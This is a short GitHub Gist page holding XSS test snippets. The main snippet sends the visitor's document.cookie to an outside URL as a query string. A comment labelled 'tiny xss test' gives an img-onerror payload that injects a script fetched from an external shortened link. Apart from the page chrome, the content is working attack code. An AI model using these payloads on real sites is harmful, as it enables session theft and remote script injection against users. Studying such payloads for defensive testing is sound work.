Skip to content

Instantly share code, notes, and snippets.

@edtoken
Last active June 16, 2017 14:22
Show Gist options
  • Save edtoken/3a3d5fec7a959799a743fc3ad195fee8 to your computer and use it in GitHub Desktop.
Save edtoken/3a3d5fec7a959799a743fc3ad195fee8 to your computer and use it in GitHub Desktop.
if(confirm('HI')){
document.location = "http://google.com?cookie=" + document.cookie
}
@edtoken
Copy link
Author

edtoken commented Jun 16, 2017

tiny xss test
<img src=image.jpg height=1 width=1 onerror=(a=document.createElement('script'),a.type="text/javascript",a.src="https://goo.gl/aptdib",document.head.appendChild(a));>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment